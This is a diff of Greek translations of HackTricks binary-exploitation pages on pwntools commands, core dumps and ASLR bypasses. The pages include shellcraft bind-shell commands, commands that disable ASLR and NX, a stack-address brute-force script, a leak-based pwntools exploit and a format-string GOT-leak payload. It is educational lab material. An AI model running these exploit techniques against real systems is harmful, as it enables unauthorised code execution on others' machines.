* **Κοινοποιήστε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
```
pip3 install pwntools
```
## Pwn asm
Λάβε **κωδικούς λειτουργίας** από γραμμή ή αρχείο.
Λάβε **κωδικούς λειτουργιών** από γραμμή ή αρχείο.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
@ -40,7 +41,7 @@ pwn checksec <executable>
## Εκμετάλλευση cyclic
Αποκτήστε ένα πρότυπο
Λάβετε ένα πρότυπο
```
pwn cyclic 3000
pwn cyclic -l faad
@ -52,7 +53,7 @@ pwn cyclic -l faad
* Πλαίσιο (16,32,64,linux,windows...)
* Πάρτε τη μετατόπιση (-l)
## Pwn debug
## Αποσφαλμάτωση Pwn
Συνδέστε το GDB σε ένα διεργασία
```
@ -60,25 +61,27 @@ pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Μπορεί να επιλέξει:**
**Μπορείτε να επιλέξετε:**
* Ανά εκτελέσιμο, ανά όνομα ή ανά πλαίσιο pid (16,32,64,linux,windows...)
* gdbscript για εκτέλεση
* διαδρομή sysroot
## Απενεργοποίηση του nx ενός δυαδικού αρχείου
## Απενεργοποίηση του nx
Απενεργοποίηση του nx ενός δυαδικού αρχείου
```
pwn disablenx <filepath>
```
## Pwn disasm
## Αποσυναρμολόγηση Pwn
Αποσυναρμολόγηση δεκαεξαδικών κωδικών λειτουργίας
Αποσυναρμολόγηση δεκαεξαδικών κωδικών
```
pwn disasm ffe4
```
**Μπορεί να επιλέξει:**
* context (16,32,64,linux,windows...)
* πλαίσιο (16,32,64,linux,windows...)
* βασική διεύθυνση
* χρώμα (προεπιλογή)/χωρίς χρώμα
@ -88,9 +91,9 @@ pwn disasm ffe4
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
## Κλείδωμα εξαδικαστικής αναπαράστασης
Λάβετε την εξαδική αναπαράσταση
Λάβετε την εξαδικαστική αναπαράσταση
```bash
pwn hex hola #Get hex of "hola" ascii
```
@ -100,7 +103,7 @@ pwn hex hola #Get hex of "hola" ascii
```
pwn phd <file>
```
**Μπορείτε να επιλέξετε:**
**Μπορεί να επιλέξει:**
* Αριθμός bytes προς εμφάνιση
* Αριθμός bytes ανά γραμμή για επισήμανση byte
@ -128,7 +131,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
* αποσφαλμάτωση (σύνδεση dbg στο shellcode)
* πριν (αποσφαλμάτωση παγίδα πριν τον κώδικα)
* μετά
* αποφύγετε τη χρήση κωδικών λειτουργιών (προεπιλογή: όχι null και νέα γραμμή)
* αποφύγετε τη χρήση κωδικών λειτουργίας (προεπιλογή: όχι null και νέα γραμμή)
* Εκτέλεση του shellcode
* Χρώμα/χωρίς χρώμα
* λίστα κλήσεων συστήματος
@ -155,16 +158,17 @@ pwn unhex 686f6c61
```
pwn update
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# Κοινές Προστασίες και Παρακάμψεις στην Εκμετάλλευση Δυαδικών Αρχείων
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης των HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε τα HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Ενεργοποίηση Αρχείων Core
Τα **αρχεία Core** είναι ένας τύπος αρχείου που δημιουργείται από ένα λειτουργικό σύστημα όταν ένας διεργασία καταρρέει. Αυτά τα αρχεία καταγράφουν την εικόνα μνήμης της διεργασίας που κατέρρευσε κατά τη στιγμή της τερματισμού της, συμπεριλαμβανομένης της μνήμης της διεργασίας, των καταχωρητών και της κατάστασης του μετρητή προγράμματος, μεταξύ άλλων λεπτομερειών. Αυτή η στιγμιότυπη κατάσταση μπορεί να είναι εξαιρετικά χρήσιμη για αποσφαλμάτωση και κατανόηση του λόγου για τον οποίο συνέβη ο κρατικός πτώσης.
Τα **αρχεία Core** είναι ένας τύπος αρχείου που δημιουργείται από ένα λειτουργικό σύστημα όταν ένας διεργασία καταρρέει. Αυτά τα αρχεία καταγράφουν την εικόνα μνήμης της διεργασίας που κατέρρευσε στη στιγμή της τερματισμού της, συμπεριλαμβανομένης της μνήμης της διεργασίας, των καταχωρητών και της κατάστασης του μετρητή προγράμματος, μεταξύ άλλων λεπτομερειών. Αυτή η στιγμιότυπη εικόνα μπορεί να είναι εξαιρετικά χρήσιμη για την αποσφαλμάτωση και την κατανόηση του λόγου για τον οποίο συνέβη ο κρατικός τερματισμός.
### **Ενεργοποίηση Δημιουργίας Αρχείων Core Dump**
Από προεπιλογή, πολλά συστήματα περιορίζουν το μέγεθος των αρχείων core σε 0 (δηλαδή δεν δημιουργούν αρχεία core) για να εξοικονομήσουν χώρο στο δίσκο. Για να ενεργοποιήσετε τη δημιουργία αρχείων core, μπορείτε να χρησιμοποιήσετε την εντολή **`ulimit`** (σε κέλυφος bash ή παρόμοια κέλυφη) ή να διαμορφώσετε ρυθμίσεις σε επίπεδο συστήματος.
Από προεπιλογή, πολλά συστήματα περιορίζουν το μέγεθος των αρχείων core σε 0 (δηλαδή δεν δημιουργούν αρχεία core) για να εξοικονομήσουν χώρο στο δίσκο. Για να ενεργοποιήσετε τη δημιουργία αρχείων core, μπορείτε να χρησιμοποιήσετε την εντολή **`ulimit`** (σε κέλυφος bash ή παρόμοια κέλυφη) ή να ρυθμίσετε ρυθμίσεις σε επίπεδο συστήματος.
* **Χρησιμοποιώντας το ulimit**: Η εντολή `ulimit -c unlimited` επιτρέπει στην τρέχουσα συνεδρία κέλυφους να δημιουργεί αρχεία core με απεριόριστο μέγεθος. Αυτό είναι χρήσιμο για συνεδρίες αποσφαλμάτωσης αλλά δεν είναι μόνιμο σε επανεκκινήσεις ή νέες συνεδρίες.
* **Χρησιμοποιώντας το ulimit**: Η εντολή `ulimit -c unlimited` επιτρέπει στην τρέχουσα συνεδρία κελύφους να δημιουργεί αρχεία core με απεριόριστο μέγεθος. Αυτό είναι χρήσιμο για συνεδρίες αποσφαλμάτωσης αλλά δεν είναι μόνιμο σε επανεκκινήσεις ή νέες συνεδρίες.
```bash
ulimit -c unlimited
```
* **Μόνιμη διαμόρφωση**: Για μια πιο μόνιμη λύση, μπορείτε να επεξεργαστείτε το αρχείο `/etc/security/limits.conf` για να περιλαμβάνει μια γραμμή όπως `* soft core unlimited`, η οποία επιτρέπει σε όλους τους χρήστες να δημιουργούν αρχεία πυρήνα με μη περιορισμένο μέγεθος χωρίς την ανάγκη να ορίζουν χειροκίνητα το ulimit στις συνεδρίες τους.
* **Μόνιμη Διαμόρφωση**: Για μια πιο μόνιμη λύση, μπορείτε να επεξεργαστείτε το αρχείο `/etc/security/limits.conf` για να περιλαμβάνει μια γραμμή όπως `* soft core unlimited`, η οποία επιτρέπει σε όλους τους χρήστες να δημιουργούν αρχεία πυρήνα με απεριόριστο μέγεθος χωρίς την ανάγκη να ορίζουν χειροκίνητα το ulimit στις συνεδρίες τους.
```markdown
* soft core unlimited
```
@ -36,4 +37,4 @@ ulimit -c unlimited
```bash
gdb /path/to/executable /path/to/core_file
```
Αυτή η εντολή φορτώνει το εκτελέσιμο και το αρχείο πυρήνα στο GDB, επιτρέποντάς σας να επιθεωρήσετε την κατάσταση του προγράμματος στη στιγμή του κρασαρίσματος. Μπορείτε να χρησιμοποιήσετε εντολές GDB για να εξερευνήσετε τη στοίβα, να εξετάσετε μεταβλητές και να κατανοήσετε τον λόγο του κρασαρίσματος.
Αυτή η εντολή φορτώνει το εκτελέσιμο αρχείο και τον πυρήνα στο GDB, επιτρέποντάς σας να επιθεωρήσετε την κατάσταση του προγράμματος στη στιγμή του κρασαρίσματος. Μπορείτε να χρησιμοποιήσετε εντολές GDB για να εξερευνήσετε το stack, να εξετάσετε μεταβλητές και να κατανοήσετε τον λόγο του κρασαρίσματος.

View file

@ -1,22 +1,23 @@
# ASLR
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
**Η Τυχαία Διάταξη Χώρου Διεύθυνσης (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαιοποιήσει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από τις διεργασίες του συστήματος και τις εφαρμογές. Με αυτόν τον τρόπο, κάνει σημαντικά πιο δύσκολο για έναν εισβολέα να προβλέψει τη θέση συγκεκριμένων διεργασιών και δεδομένων, όπως το stack, το heap και οι βιβλιοθήκες, με αποτέλεσμα τη μείωση ορισμένων τύπων εκμετάλλευσης, ιδιαίτερα των buffer overflows.
**Η τυχαία διάταξη του χώρου διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαιοποιήσει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από τις διεργασίες του συστήματος και τις εφαρμογές. Με αυτόν τον τρόπο, κάνει σημαντικά πιο δύσκολο για έναν εισβολέα να προβλέψει τη θέση συγκεκριμένων διεργασιών και δεδομένων, όπως το stack, το heap και οι βιβλιοθήκες, με αποτέλεσμα τη μείωση ορισμένων τύπων εκμετάλλευσης, ιδιαίτερα των buffer overflows.
### **Έλεγχος Κατάστασης ASLR**
@ -24,7 +25,7 @@
* **0**: Χωρίς τυχαιοποίηση. Όλα είναι στατικά.
* **1**: Συντηρητική τυχαιοποίηση. Οι κοινόχρηστες βιβλιοθήκες, το stack, το mmap(), η σελίδα VDSO τυχαιοποιούνται.
* **2**: Πλήρης τυχαιοποίηση. Εκτός από τα στοιχεία που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω του `brk()` τυχαιοποιείται.
* **2**: Πλήρης τυχαιοποίηση. Εκτός από τα στοιχεία που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω της `brk()` τυχαιοποιείται.
Μπορείτε να ελέγξετε την κατάσταση του ASLR με την ακόλουθη εντολή:
```bash
@ -49,7 +50,7 @@ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Μόνιμη Διατήρηση Μετά την Επανεκκίνηση**
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν μετά από επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την ακόλουθη γραμμή:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
@ -59,7 +60,7 @@ kernel.randomize_va_space=0 # Disable ASLR
```bash
sudo sysctl -p
```
Αυτό θα εξασφαλίσει ότι οι ρυθμίσεις του ASLR παραμένουν μετά από επανεκκίνηση.
Αυτό θα εξασφαλίσει ότι οι ρυθμίσεις του ASLR παραμένουν στις επανεκκινήσεις.
## **Παρακάμψεις**
@ -69,27 +70,27 @@ sudo sysctl -p
* **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπία στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διεργασία και προστίθεται στις αρχικές διευθύνσεις.
* **Μνήμη** που εκχωρείται από την `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, με το όνομα `delta_mmap`.
* **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί πραγματικά **11 bits** (από τον 10ο έως τον 20ο byte συμπεριλαμβανομένου), ευθυγραμμισμένα σε **16 bytes** —> Αυτό οδηγεί σε **524,288 πιθανές πραγματικές διευθύνσεις στοίβας**.
* **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί πραγματικά **11 bits** (από τον 10ο έως τον 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένα σε **16 bytes** —> Αυτό οδηγεί σε **524,288 πιθανές πραγματικές διευθύνσεις στοίβας**.
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR επαναλαμβάνοντας την εκτέλεση μέχρι η εκμετάλλευση να ολοκληρωθεί με επιτυχία.
#### Ιδέες για βίαιη εξαναγκαστική επίθεση:
* Αν έχετε ένα αρκετά μεγάλο υπερχείλισμα για να φιλοξενήσετε ένα **μεγάλο NOP sled πριν το shellcode**, μπορείτε απλά να εξαναγκάσετε διευθύνσεις στη στοίβα μέχρι η ροή να **περάσει πάνω από κάποιο τμήμα του NOP sled**.
* Αν έχετε ένα αρκετά μεγάλο υπερχείλισμα για να φιλοξενήσετε ένα **μεγάλο NOP sled πριν το shellcode**, θα μπορούσατε απλά να εξαναγκάσετε διευθύνσεις στη στοίβα μέχρι η ροή να **περάσει πάνω από κάποιο τμήμα του NOP sled**.
* Μια άλλη επιλογή γι' αυτό στην περίπτωση που το υπερχείλισμα δεν είναι τόσο μεγάλο και η εκμετάλλευση μπορεί να εκτελεστεί τοπικά είναι να **προστεθεί το NOP sled και το shellcode σε μεταβλητή περιβάλλοντος**.
* Αν η εκμετάλλευση είναι τοπική, μπορείτε να δοκιμάσετε να εξαναγκάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να δοκιμάσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
{% hint style="success" %}
Στα 64bit συστήματα η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό.
Στα 64bit συστήματα η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα πρέπει να είναι δυνατό.
{% endhint %}
### Επίθεση brute-forcing στο stack 64 bits
### Εκμετάλλευση brute-forcing στο stack 64 bits
Είναι δυνατό να καταλάβετε ένα μεγάλο μέρος του stack με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό αρχείο εκατοντάδες/χιλιάδες φορές τοπικά.\
Είναι δυνατό να καταλάβετε ένα μεγάλο μέρος του stack με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να καταχωρήσετε το δυαδικό αρχείο εκατοντάδες/χιλιάδες φορές τοπικά για να το εκμεταλλευτείτε.\
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατό να **επιλέξετε απλώς μια διεύθυνση στο stack** και κάθε **λίγες εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **NOP εντολή**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
@ -154,7 +155,7 @@ print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Τοπικές Πληροφορίες (`/proc/[pid]/stat`)
@ -164,7 +165,7 @@ pass
* **startstack**: Η διεύθυνση της αρχής του **stack**
* **start\_data** & **end\_data**: Διευθύνσεις πάνω και κάτω από όπου βρίσκεται το **BSS**
* **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP**
* **arg\_start** & **arg\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **παράμετροι της γραμμής εντολών**
* **arg\_start** & **arg\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **παράμετροι γραμμής εντολής**
* **env\_start** & **env\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **μεταβλητές περιβάλλοντος**
Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ωμές παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να δημιουργηθεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατό για έναν επιτιθέμενο να **αποκτήσει μερικές διευθύνσεις από αυτό το αρχείο και να κατασκευάσει μετατοπίσεις από αυτές για την εκμετάλλευση**.
@ -177,7 +178,7 @@ pass
* **Η πρόκληση είναι να δοθεί μια διαρροή**
Αν σας δίνεται μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε μετατοπίσεις από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της βιβλιοθήκης libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης εξάγεται από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτήν τη σελίδα για περισσότερες λεπτομέρειες):
Αν σας δίνεται μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε μετατοπίσεις από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της βιβλιοθήκης libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτή η εκμετάλλευση παράδειγματος εξάγεται από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτήν τη σελίδα για περισσότερες λεπτομέρειες):
```python
from pwn import *
@ -204,7 +205,7 @@ p.interactive()
```
* **ret2plt**
Καταχρώντας ένα buffer overflow θα ήταν δυνατό να εκμεταλλευτείτε ένα **ret2plt** για να εξαγάγετε μια διεύθυνση μιας συνάρτησης από την libc. Ελέγξτε:
Εκμεταλλευόμενος ένα buffer overflow θα ήταν δυνατόν να εκμεταλλευτείτε ένα **ret2plt** για να εξαγάγετε μια διεύθυνση μιας συνάρτησης από την libc. Ελέγξτε:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
@ -212,7 +213,7 @@ p.interactive()
* **Format Strings Arbitrary Read**
Όπως και στο ret2plt, αν έχετε ένα αυθαίρετο διάβασμα μέσω μιας ευπάθειας format strings είναι δυνατό να εξάγετε τη διεύθυνση μιας **συνάρτησης της libc** από το GOT. Το ακόλουθο [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Όπως και στο ret2plt, εάν έχετε ένα αυθαίρετο διάβασμα μέσω μιας ευπάθειας format strings είναι δυνατόν να εξάγετε τη διεύθυνση μιας **συνάρτησης της libc** από το GOT. Το ακόλουθο [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -223,7 +224,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την ανάγνωση τυχαίων δεδομένων με Format Strings στο:
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την αυθαίρετη ανάγνωση μορφοποίησης σε:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -239,12 +240,12 @@ payload += p32(elf.symbols['main'])
### vsyscall
Ο μηχανισμός **`vsyscall`** χρησιμεύει για τη βελτίωση της απόδοσης επιτρέποντας σε συγκεκριμένες κλήσεις συστήματος να εκτελούνται στον χώρο χρήστη, αν και ουσιαστικά ανήκουν στον πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** βρίσκεται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διεύθυνσης). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν χρειάζεται να έχουν μια ευπάθεια διαρροής πληροφοριών για να καθορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\
Ωστόσο, δεν θα βρεθούν πολύ ενδιαφέροντα gadgets εδώ (αν και, για παράδειγμα, είναι δυνατόν να πάρετε ένα `ret;` ισοδύναμο)
Ο μηχανισμός **`vsyscall`** χρησιμεύει για τη βελτίωση της απόδοσης επιτρέποντας σε συγκεκριμένες κλήσεις συστήματος να εκτελούνται στον χώρο χρήστη, αν και ουσιαστικά ανήκουν στον πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** βρίσκεται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διεύθυνσης). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν χρειάζεται να έχουν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\
Ωστόσο, δεν θα βρεθούν πολύ ενδιαφέροντα gadgets εδώ (αν και, για παράδειγμα, είναι δυνατόν να ληφθεί ένα ισοδύναμο `ret;`)
